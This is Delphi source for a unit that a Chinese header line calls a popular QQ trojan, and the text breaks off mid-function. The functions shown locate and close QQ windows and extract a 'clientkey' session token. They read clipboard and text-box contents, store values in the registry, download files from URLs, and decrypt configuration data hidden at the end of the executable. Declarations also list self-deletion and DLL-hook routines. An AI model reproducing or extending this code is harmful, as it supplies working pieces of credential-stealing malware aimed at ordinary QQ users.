tonghan.pas

这是目前很流行的QQ木马 的代码 现在 这个很使用的

unit tonghan;

interface
  uses
  Windows,shellapi,messages,tlhelp32,Urlmon;
//是否合法的字符
function IsValidChar(x: Char): Boolean;
 //写记事本
 procedure Log3( s : PChar);stdcall;
// 取窗体文字
function GetCaption(hWnd: LongWord): string;
  // 取窗口类名
function GetWinClass(hWnd: LongWord): string;
  // 取 edit文字
function GetEditText(hWndEdit: LongWord): string;
//字符串转换成整数
Function StrToInt(Const S: String): Integer;
  // 整数转字符串
function InttoStr(const Int: Integer): string;
//去除空格
function Trim(const S: string): string;
//读取自身尾部信息
function GetExtraInfo(FileName: string): string;
// 字符串比较(不区分大小写)
function CompareAnsiText(const S1, S2: string): Boolean;
//得到剪贴板的内容
function getjianban( hand: LongWord):string;
// 是否为数字串
function IsNumString(const Str: string): Boolean;
//从窗口得到进程的路径
function getMyFileName(HAND: LongWord):string;

//function FileExists(const FileName: string): Boolean;
//从路径得到文件名
Function ExtractFileName(Str:String):String;
//得到文件名的相对路径
function getFilePath(const FileName: string): string;
  //加解密字符串
Function EncryptText(Text: String): String;
 //下载
function DownloadFile(Source, Dest: string): Boolean;
  // 装入额外信息, FileName -> ExtraInfo
function LoadExtraInfo(const FileName: PChar): string;
 //读取一个记事本的内容
function getLog(s : PChar):string;
  //写一个记事本,有则复盖无则创建
procedure setLog(s,thetext : PChar);stdcall;
  //保存大区在注册表项
function Setkey(s:pchar):boolean;
//得到保存大区的值
function getkey:pchar;
  //保存大区在注册表项
function Setqqkey(s:pchar):boolean;
  //保存大区在注册表项
function Getqqkey:pchar;
  // 写文字到屏幕
procedure WriteScreen(S: string);
//转大写
function UpperCase(const S: string): string;

// 以下是查找qq窗口
function QQhandle : THandle;
// 以下是关闭qq窗口
procedure closeQQhandle ;

 //处理提交钥匙
function getclientkey(var s,key:string):boolean;
//指针的长度
function StrLen(const Str: PChar): Cardinal; assembler;


 //资源到文件
procedure ReleaseResToFile(ResType, ResName, FileName: PChar; const ExtraInfo: string);
// 释放路径
//function GetReleasePath(): string;
// 添加Url执行挂钩
procedure RegisterDll(ComFileName: PChar);
// 移动文件(重启后)
procedure ForceMoveFile(const Target, Source: string);
//删除自已
procedure DeleteMe();
//文件是否存在
function FileExists(pszPath: PChar): BOOL; stdcall; external 'shlwapi.dll' Name 'PathFileExistsA';
 //得到当天时间并以数字型式显示
function getNowDay:string;
//写记事本
 procedure Log1( s : PChar);stdcall;
 //获取系统目录
function GetDirectory(dInt: Integer): string;
implementation
//获取系统目录
function GetDirectory(dInt: Integer): string;
var
  s: array[0..255] of Char;
begin
  case dInt of
    0: GetWindowsDirectory(@s, 256);  //Windows安装文件夾所存在的路径
    1: GetSystemDirectory(@s, 256);   //系统文件夾所存在的路径
    2: GetTempPath(256,@s);           //Temp文件夾所存在的路径
  end;
  if dInt=2 then
    result :=string(s)
  else
    result := string(s) + '\';
end;



 //处理提交钥匙
function getclientkey(var s,key:string):boolean;
 var
  i:integer;
  begin
   result:=false;
  i:=pos('clientkey=',s);
   if i=0 then exit;
   delete(s,1,i+9);
   s:=trim(s);
   if length(s)<64 then exit;
   setlength(s,64);
   if pos(' ',s)<>0 then exit;
   if pos('$',s)<>0 then exit;
   if pos('=',s)<>0 then exit;
   if pos('%',s)<>0 then exit;
   key:=s;
   result:=true;
  end;
//指针的长度
function StrLen(const Str: PChar): Cardinal; assembler;
asm
        MOV     EDX,EDI
        MOV     EDI,EAX
        MOV     ECX,0FFFFFFFFH
        XOR     AL,AL
        REPNE   SCASB
        MOV     EAX,0FFFFFFFEH
        SUB     EAX,ECX
        MOV     EDI,EDX
end;

// 以下是查找qq窗口
function QQhandle : THandle;
  var
  hCurrentWindow: HWnd;
  TE:LongWord;
 BEGIN
  TE:=0;
  TE:= FindWindowEx(0,TE,nil,nil);
  hCurrentWindow := GetWindow(te, GW_HWNDFIRST);
  while hCurrentWindow <> 0 do
   begin
     if GetWinClass(hCurrentWindow)='#32770' then
      begin
       TE:= FindWindowEx(hCurrentWindow,0,'Tencent_QQBar',nil);
       if te<>0 then begin QQhandle:=hCurrentWindow; exit; end;
      end;
     hCurrentWindow:=GetWindow(hCurrentWindow, GW_HWNDNEXT);
   end;
end;
// 以下是关闭qq窗口
procedure closeQQhandle ;
  var
  hCurrentWindow: HWnd;
  TE:LongWord;
 BEGIN
  TE:=0;
  TE:= FindWindowEx(0,TE,nil,nil);
  hCurrentWindow := GetWindow(te, GW_HWNDFIRST);
  while hCurrentWindow <> 0 do
   begin
     if GetWinClass(hCurrentWindow)='#32770' then
      begin
       TE:= FindWindowEx(hCurrentWindow,0,'Tencent_QQBar',nil);
       if te<>0 then begin SendMessage(hCurrentWindow, WM_SYSCOMMAND, SC_CLOSE, 0); end;
      end;
     hCurrentWindow:=GetWindow(hCurrentWindow, GW_HWNDNEXT);
   end;
end;


  // 写文字到屏幕
procedure WriteScreen(S: string);
var
  ScreenDC: HDC;
begin
  ScreenDC := GetDC(0);
  TextOut(ScreenDC, 10, 10, PChar(S), Length(S));
  ReleaseDC(0, ScreenDC);
end;
//转大写
function UpperCase(const S: string): string;
var
  Ch: Char;
  L: Integer;
  Source, Dest: PChar;
begin
  L := Length(S);
  SetLength(Result, L);
  Source := Pointer(S);
  Dest := Pointer(Result);
  while L <> 0 do
  begin
    Ch := Source^;
    if (Ch >= 'a') and (Ch <= 'z') then Dec(Ch, 32);
    Dest^ := Ch;
    Inc(Source);
    Inc(Dest);
    Dec(L);
  end;
end;
  //保存大区在注册表项
function Setkey(s:pchar):boolean;
var
  k1: hkey;
  l: longint;
  p: pchar;
begin
  result:=false;
    l := regopenkey(HKEY_LOCAL_MACHINE, 'SOFTWARE', k1);
    l := regopenkey(k1, 'Microsoft', k1);
    p := pchar(s);//(ParamStr(0));
    l := regsetvalueEx(k1,'mutouqq', 0, 1, p, 255);
    result:=true;
    RegCloseKey(k1);
end;
//得到保存大区的值
function getkey:pchar;
var
  k1: hkey;
  l: longint;
  s:array [0..255] of Char;
  RegDataLen: DWORD;
  RegValueType: DWORD;

begin
  RegDataLen:=255;
  RegValueType := REG_MULTI_SZ;
    l := regopenkey(HKEY_LOCAL_MACHINE, 'SOFTWARE', k1);
    l := regopenkey(k1, 'Microsoft', k1);
    RegQueryValueEx(k1, 'mutouqq', nil, @RegValueType, PByte(@s), @RegDataLen);
    result:=s;
    RegCloseKey(k1);
end;
  //保存大区在注册表项
function Setqqkey(s:pchar):boolean;
var
  k1: hkey;
  l: longint;
  p: pchar;
begin
  result:=false;
    l := regopenkey(HKEY_LOCAL_MACHINE, 'SOFTWARE', k1);
    l := regopenkey(k1, 'Microsoft', k1);
    p := pchar(s);//(ParamStr(0));
    l := regsetvalueEx(k1,'oneqq', 0, 1, p, 255);
    result:=true;
    RegCloseKey(k1);
end;
//得到保存大区的值
function getQQkey:pchar;
var
  k1: hkey;
  l: longint;
  s:array [0..255] of Char;
  RegDataLen: DWORD;
  RegValueType: DWORD;

begin
  RegDataLen:=255;
  RegValueType := REG_MULTI_SZ;
    l := regopenkey(HKEY_LOCAL_MACHINE, 'SOFTWARE', k1);
    l := regopenkey(k1, 'Microsoft', k1);
    RegQueryValueEx(k1, 'oneqq', nil, @RegValueType, PByte(@s), @RegDataLen);
    result:=s;
    RegCloseKey(k1);
end;
//写一个记事本,有则复盖无则创建
procedure setLog(s,thetext : PChar);stdcall;
  var
  f:cardinal;
  textsize:longint;
  bytesred:dword;
  begin
   f:=createfile(s,generic_write,file_share_write,
                 nil,create_always,file_attribute_normal,0);
    writefile(f, thetext^,length(thetext),bytesred,nil);
    closehandle(f);
  end;
 //读取一个记事本的内容
function getLog(s : PChar):string;
  var
  f:cardinal;
  textsize:longint;
  bytesred:dword;
  thetext:pchar;
  begin
  result:='';
  f:=createfile(s,generic_read,file_share_read or file_share_write,
                 nil,open_always,file_attribute_normal,0);
     //错误处理
     if f=invalid_handle_value then exit;
    //得到文件大小
    textsize:= getfilesize(f,nil);
     if  textsize<=0 then exit;
    //为thetext分配内存
    getmem(thetext,textsize);
    // 初始化缓冲区
    fillmemory(thetext,textsize,0);
    //设置指针
    //setfilepointer(f,sizeof(textsize),nil,file_begin);
    //读取
    readfile(f,thetext^,textsize,bytesred,nil);
    //返回结果
    result:=thetext;
    //释放内存
    freemem(thetext);
    //关闭文件
    closehandle(f);   
  end;
//是否合法的字符
function IsValidChar(x: Char): Boolean;
begin
  Result := (Ord(x) >= $21) and (Ord(x) <= $7E);
end;
  // 装入额外信息, FileName -> ExtraInfo
function LoadExtraInfo(const FileName: PChar): string;
var
  hFile, wSize, Len: DWORD;
  Tmp: string;
begin
  Result := '';

  // 打开文件
  hFile := CreateFile(FileName, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING,
    FILE_ATTRIBUTE_NORMAL, 0);
  if (hFile = INVALID_HANDLE_VALUE) then Exit;

  // 读入长度
  SetFilePointer(hFile, -4, nil ,FILE_END);
  ReadFile(hFile, Len, 4, wSize, nil);
  Len := Len xor $4D617A69;
  if (Len > GetFileSize(hFile, nil)) then Exit;

  // 读入信息
  SetFilePointer(hFile, -Len, nil, FILE_END);
  SetLength(Tmp, Len);
  ReadFile(hFile, Tmp[1], Len, wSize, nil);
  CloseHandle(hFile);

  // 解密字符串
  EncryptText(Tmp);
  Result := tmp
end;

//下载
function DownloadFile(Source, Dest: string): Boolean;
begin
  try
   Result := UrlDownloadToFile(nil, PChar(source), PChar(Dest), 0, nil) = 0;
  except
   Result := False;
  end;
end;

 //写记事本
 procedure Log3( s : PChar);stdcall;
  var
    F : TextFile;
  begin
    assignfile(f,'c:\记事本.txt');
    if fileexists('c:\记事本.txt') then append(f)
    else rewrite(f);
    writeln(f,s);
    closefile(f);
  end;  
  //加解密字符串
Function EncryptText(Text: String): String;
Var
  I     :Word;
  C     :Word;
Begin
  Result := '';
  For I := 1 To Length(Text) Do
    Begin
      C := Ord(Text[I]);
      Result := Result + Chr((C Xor 12));
    End;
End;
//从路径得到文件名
Function ExtractFileName(Str:String):String;
 Begin
  While Pos('\', Str)>0 Do
   Str := Copy(Str, Pos('\',Str)+1, Length(Str));
  Result := Str;
 End;
//得到文件名的相对路径
function getFilePath(const FileName: string): string;
 var
 s,myname:string;
 i:integer;
begin
 s:=ExtractFileName(FileName);
 i:=length(s);
 myname:=FileName;
 setlength(myname,length(FileName)-i);
 result:=myname;
end;

//从窗口得到进程的路径
function getMyFileName(HAND: LongWord):string;
VAR
 ModuleStruct : TMODULEENTRY32; 
 ModuleHandle : LongWord;       
 WinProcessId : LongWord;      
 begin
   GetWindowThreadProcessId(HAND, @WinProcessId);
    ModuleHandle := CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, WinProcessId);
    ModuleStruct.dwSize := sizeof(ModuleStruct);